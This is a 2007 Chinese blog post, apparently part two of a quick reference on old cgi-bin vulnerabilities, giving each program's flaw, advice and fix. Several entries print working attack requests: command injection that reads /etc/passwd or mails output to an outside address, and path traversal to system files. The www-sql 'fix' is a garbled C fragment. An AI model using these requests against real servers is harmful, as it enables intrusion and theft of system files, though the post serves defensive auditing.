CGI漏洞速查二

原创 2007年09月28日 16:23:00
 php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任
何系统文件可以被入侵者读取的漏洞

 

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除php.cgi程序是最好的办法。

12.handler

描述: IRIX 5.3, 6.2, 6.3, 6.4的/cgi-bin/handler程序存在缓存
溢出错误,允许入侵者在server上远程执行一段程序:

telnet target.machine.com 80

GET /cgi-bin/handler/whatever;cat /etc/passwd| ?
data=Download

HTTP/1.0

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除handler文件。

13. webgais
描述: /cgi-bin,目录下的webgais是GAIS搜索工具的一个接口,它
有一个毛病使入侵者可以绕过程序的安全机制,执行系统命令:

POST /cgi-bin/webgais HTTP/1.0

Content-length: 85 (replace this with the actual length of
the “exploit” line)

telnet target.machine.com 80

query=?;mail+you@your.host&domain=paragraph

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除webgais文件。

14.websendmail
描述: /cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:

telnet target.machine.com 80

POST /cgi-bin/websendmail HTTP/1.0

Content-length: xxx (should be replaced with the actual
length of the string passed to the server, in this case
xxx=90)

receiver=;mail+your_address@somewhere.orger=a&rtnaddr=a&subject=a

&content=a

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 高级用户:编辑websendmail脚本,过滤特殊字符。
一般用户:删除websendmail文件。

15.webdist.cgi

描述: 对于Irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一
个弱点允许入侵者无须登录而在系统上执行任何指令:

_blank>http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/var/www/cgi-bin/webdist.cgi目录下的
webdist.cgi。

16. faxsurvey

描述: 在Linux S.u.S.E上/cgi-bin目录下的faxsurvey程序允许入
侵者无须登录就能在服务器执行指令:

linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat% " target=_blank>http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%
20/etc/passwd

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/faxsurvey文件。

17. htmlscript

描述: 安装了htmlscript2.99x或者更早版本的服务器,存在一个毛
病使入侵者可以查看服务器上的任何文件:

_blank>http://www.vulnerable.server.com/cgi-
bin/htmlscript?../../../../etc/passwd

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/htmlscript脚本文件,或者将htmlscript
升级到3。0以上。

18. www-sql

描述: www-sql存在于/cgi-bin/目录下,这将导致入侵可以越权访
问被保护的文件。

建议: 最好删除www-sql文件。
解决方法: #if PHPFASTCGI

while(FCGI_Accept() >= 0)

{

#endif

s = getenv(“REDIRECT_STATUS”);

if(!s) {

puts(“Content-type: text/plain PHP/FI detected an
internal error. Please inform sa@hogia.net of what you just
did. ”);

exit(1);

}

s = getenv(“PATH_TRANSLATED”);

19.名字: view-source

描述: 在cgi-bin目录下的view-source程序没有对输入进行安全检
查,使入侵者可以查看服务器上的任何文件

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的viewsource程序。

20. campas

描述: 在cgi-bin目录下的campas程序有一个毛病可以使入侵者随意
查看server上的重要文件:

telnet www.xxxx.net 80

Trying 200.xx.xx.xx...

Connected to venus.xxxx.net

Escape character is ?^]?.

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的campas程序。

21.aglimpse

描述: 在cgi-bin目录下的aglimpse程序有一个毛病可以使入侵者无
须登录而随意执行任何指令 

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的aglimpse程序。

22.AT-admin.cgi

描述: 在Excite for Web Servers 1.1上的/cgi-bin/AT-admin.cgi
程序,允许普通用户完全控制整个系统

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的AT-admin.cgi程序。

23. finger

描述: 这个位于/cgi-bin下的finger程序,可以查看其它服务器的
信息,但是如果将参数改成本机,本机上的帐号信息将暴露无遗:

/cgi-bin/finger?@localhost

建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的finger程序。

24. webwho.pl

描述: 如果在您的Web可执行目录中有webwho.pl这个CGI脚本,那么
入侵者将能利用他阅读启动Web的用户能读写执行的任何文件。

建议: 将webwho.pl从您的Web目录中删除或移走。
解决方法: 将webwho.pl从您的Web目录中删除或移走。

25. w3-msql

描述: MiniSQL软件包发行版本附带的一个CGI(w3-msql)可被用于以
httpd的uid权限执行任意代码。这个安全漏洞是由程序中的scanf()
函数引起的。

建议: 如果您安装了MiniSQL软件包,请您将/cgi-bin/目录下的w3-
msql文件删除或移走

解决方法: 如果您安装了MiniSQL软件包,请您将/cgi-bin/目录下的
w3-msql文件删除或移走.

26. Netscape FastTrack server 2.0.1a

描述: UnixWare 7.1附带的Netscape FastTrack server 2.0.1a存
在一个远程缓冲区溢出漏洞。缺省地,监听457端口的httpd通过http
协议提供UnixWare文档。如果向该服务器传送一个长度超过367字符
的GET请求,会使缓冲区溢出,EIP值被覆盖将可能导致任意代码以
httpd权限执行。

建议: 临时解决方法是关闭Netscape FastTrack服务器。
解决方法: 临时解决方法是关闭Netscape FastTrack服务器。

27. AnyForm.cgi

描述: 位于cgi-bin目录下的AnyForm.cgi程序,是用于简单表单通
过邮件传递响应的,但该程序对用户输入检查不彻底,可被入侵者利
用,在server上执行任何指令。 

检测cgi-bin漏洞存在方法

bash漏洞技术层面分析 漏洞起源: 漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令: env x='() { :;}; echo...
  • xiaoshan812613234
  • xiaoshan812613234
  • 2014年12月25日 16:36
  • 3146

Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路

今日爆出一个Bash的RCE漏洞,威力巨大。看了看老外的分析,觉得有必要写一写自己对这个漏洞的理解。 首先,问题起因于一个命令ENV。 原型: env [OPTION]... [NAME=VALU...
  • u011721501
  • u011721501
  • 2014年09月25日 21:01
  • 7722

漏洞扫描工具—nikto

nikto nikto是一款扫描指定主机的web类型,主机名。特定目录,cookie,特定cgi漏洞,xss漏洞,sql漏洞,返回主机允许的http方法等安全问题的工具。   1.下载nikto ht...
  • dubinglin
  • dubinglin
  • 2017年04月05日 18:25
  • 1242

CGI 安全漏洞资料速查

  • 2008年07月11日 16:34
  • 31KB
  • 下载

php cgi远程任意代码执行漏洞

CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战 GaRY  | 2012-05-04 02:16 国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:...
  • god_7z1
  • god_7z1
  • 2012年11月16日 16:02
  • 1851

Nginx + PHP CGI的一个可能的安全漏洞

现在普遍的Nginx + PHP cgi的做法是在配置文件中,通过正则匹配设置SCRIPT_FILENAME,今天又发现了一个这种方式的安全漏洞。比如,有http://www.chinaz.com/f...
  • pengyouchuan
  • pengyouchuan
  • 2012年02月13日 21:43
  • 385

黑客通过linux bash漏洞借助apache cgi向产品服务器植入木马病毒的实例分享!

黑客通过linux bash漏洞借助apache cgi向产品服务器植入木马病毒的实例分享!
  • sidongxue2
  • sidongxue2
  • 2015年01月24日 15:30
  • 2583

检测cgi-bin漏洞存在方法

bash漏洞技术层面分析 漏洞起源: 漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令: env x='() { :;}; echo...
  • xiaoshan812613234
  • xiaoshan812613234
  • 2014年12月25日 16:36
  • 3146

Iis7.0 cgi解析漏洞复现

Iis7.0 cgi解析漏洞复现 目标服务器IP 192.168.14.171 黑客机 172.18.199.27 1.首先,我们需要搭建IIS平台2.配置处理程序映射:管理工具 –> IIS ...
  • weixin_40721193
  • weixin_40721193
  • 2017年11月28日 21:38
  • 38

QuarkMail get_att.cgi 命令执行漏洞

漏洞类型: 命令执行漏洞 网站组件: QuarkMail 漏洞描述: QuarkMail是国内一款非常流行的邮件系统,其存在命令执行漏洞,攻击者可以利用该漏洞,执行恶意系统命令。 快客电邮在访问...
  • god_7z1
  • god_7z1
  • 2013年07月31日 14:49
  • 1185
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:CGI漏洞速查二
举报原因:
原因补充:

(最多只允许输入30个字)